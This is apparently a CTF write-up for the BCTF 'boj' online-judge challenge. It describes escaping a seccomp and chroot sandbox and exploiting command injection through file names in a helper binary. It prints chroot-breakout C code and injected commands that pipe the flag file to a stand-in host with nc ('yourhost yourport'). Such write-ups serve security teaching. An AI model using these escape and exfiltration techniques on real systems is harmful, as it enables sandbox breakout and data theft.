boj quick writeup by Atum

blue-lotus onlinejudge judge system, as you know, the code you submit will be run on remote server.

step 1

1. try to connect back to your host by

```
system("echo hello|nc yourhost yourport")
result: failed, remote server filted syscall execve
socket(yourhost:yourport)->send("hello")
result: wow, you get hello on yourhost:yourport
```

2. use opendir->readdir->socket->send to list remote dir

```
scf.so
14xxxxxxxx
```

3. dump scf.so by open->read->socket->send. by reversing scf.so, you find that scf.so applied a seccomp syscall filter by hooking __libc_start_main.

```
#define VALIDATE_ARCHITECTURE \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)

#define EXAMINE_SYSCALL \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)

#define BLOCK_SYSCALL(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)

/* Validate architecture. */
VALIDATE_ARCHITECTURE,
/* Grab the system call number. */
EXAMINE_SYSCALL,
BLOCK_SYSCALL(execve),
BLOCK_SYSCALL(fork),
BLOCK_SYSCALL(ptrace),
BLOCK_SYSCALL(clone),
BLOCK_SYSCALL(chroot),
BLOCK_SYSCALL(pivot_root),
BLOCK_SYSCALL(process_vm_readv),
BLOCK_SYSCALL(process_vm_writev),
ALLOW_PROCESS,
```

obviously, this filter can be bypassed by x32abi.

step 2

1. run some api to gather infomation such as:

```
getuid,ret 0
getpid,ret 3
getcwd,ret /root/

system("ls everywhere")
cannot find flag and directory is not complete. you realize that you are in a
chroot environment.
```

2. break chroot by

```
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
    perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
```

3. list dir outside the chroot, you find some interesting files

```
/flag
/start.h
/home/ctf/setup.h
/home/ctf/oj/*
```

4. try to read /flag, you get permission deny. run system("ls -al /flag"), you get

```
-r--r----- 1 nobody nogroup    46 Apr 14 03:21 flag
```

5. read /start.sh and /home/ctf/setup.sh, you find some binaries of boj:

```
/usr/lib/cgi-bin/onlinejudge.cgi
/usr/lib/cgi-bin/statequery.cgi
/home/ctf/oj/sandbox/sandbox
/home/ctf/oj/sandbox/scf.so
/home/ctf/oj/sandbox/cr
```

6. dump these binaries

step 3

1. reverse sandbox, you find you are in a user namepsace. the root you own is not a real root. uid=0 inside namespace is mapped to uid=1000 outside.
2. reverse cr, you find there is a command injection bug.

```
int run(char* binname){
....
    snprintf(runcmd,310,"%s %s",sandboxpath,binpath);
....
    if(pid==0){
        drop(1000,1000);
        if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
            perror("signal");
        }
        alarm(2);
        snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",s
ubmitid,"Runing","N/A");
        fd=open(statepath,O_WRONLY|O_CREAT);
        write(fd,state,strlen(state));
        close(fd);
        chdir(sandboxdirname);
        system(runcmd);
....
```

3. cr is running outside the namespace, you can inject command to get which user&group the flag really belong to

```
    touch '/home/ctf/oj/bin/ad.c;ls -al flag|nc yourhost yourport';
    -r--r----- 1 root www-data    46 Apr 14 03:21 flag
```

4. www-data is uid=33 && gid=33(read /etc/passwd). by reversing cr, you find: cr set it uid&&gid to 33 before compile. and by the way, these is a command injection error in compile function.

```
int compile(char *srcname){
....
    snprintf(compilecmd,310,"gcc -o %s %s",binpath,srcpath);
....
    if(pid==0)
        {
            drop(33,33);
            if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
                perror("signal");
            }
            alarm(1);
            snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",submitid,"Compiling","N/A");
            fd=open(statepath,O_WRONLY|O_CREAT);
            write(fd,state,strlen(state));
            close(fd);
            system(compilecmd);//file name command injuection
....
```

5. read flag by submiting system("touch '/home/ctf/oj/src/hahaha.c;cat flag|nc yourhost yourport;'");

6. you get flag on your own host, done :)

something else

Chanllenge boj is designed to be a whitebox challenge mainly, the only blackbox step is try to connect back and get scf.so. after you get scf.so, you need to do something like: list dir->dump binaries->reversing->exploit->list dir->dump binaries->reversing->exploit...

I saw some teams try and guess blindly during the BCTF game. as we know, such guessing and trying is boring. I feel so sorry about that, maybe some infomation in this challenge mislead you guys to do a purely blackbox attack.